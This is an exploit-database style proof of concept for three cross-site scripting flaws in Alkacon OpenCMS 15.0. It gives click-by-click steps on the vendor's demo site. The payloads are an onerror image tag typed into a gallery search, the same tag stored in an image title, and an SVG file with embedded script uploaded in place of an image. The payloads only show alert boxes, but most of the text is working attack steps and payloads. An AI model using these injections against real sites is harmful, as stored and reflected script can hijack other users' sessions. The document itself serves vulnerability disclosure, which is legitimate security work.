Alkacon OpenCMS version 15.0 suffers from a cross site scripting vulnerability.
# Exploit Title: Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting
# Date: 1/07/2023
# Exploit Author: tmrswrr
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/opencms-core
# Version: v15.0
POC:
1 ) Login in demo page , go to this url
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/.galleries/livedemo/!!
2 ) Click /.galleries/ , after right click any png file , open gallery, write in search button this payload
<img src=. onerror=alert(document.domain)>
3 ) You will be see alert box
POC:
1 ) Go to this url , right click any png file, rename title section and write your payload : <img src=. onerror=alert(document.domain)>
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/230701/ld_go87op3bfy/.galleries/images/!!
2 ) You will be see alert box , stored xss
POC:
1 ) Go to this url , right click any png file and choose replace , click change file and choose your svg file
after save it
svg file:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
2 ) When click this svg file you will be see alert button
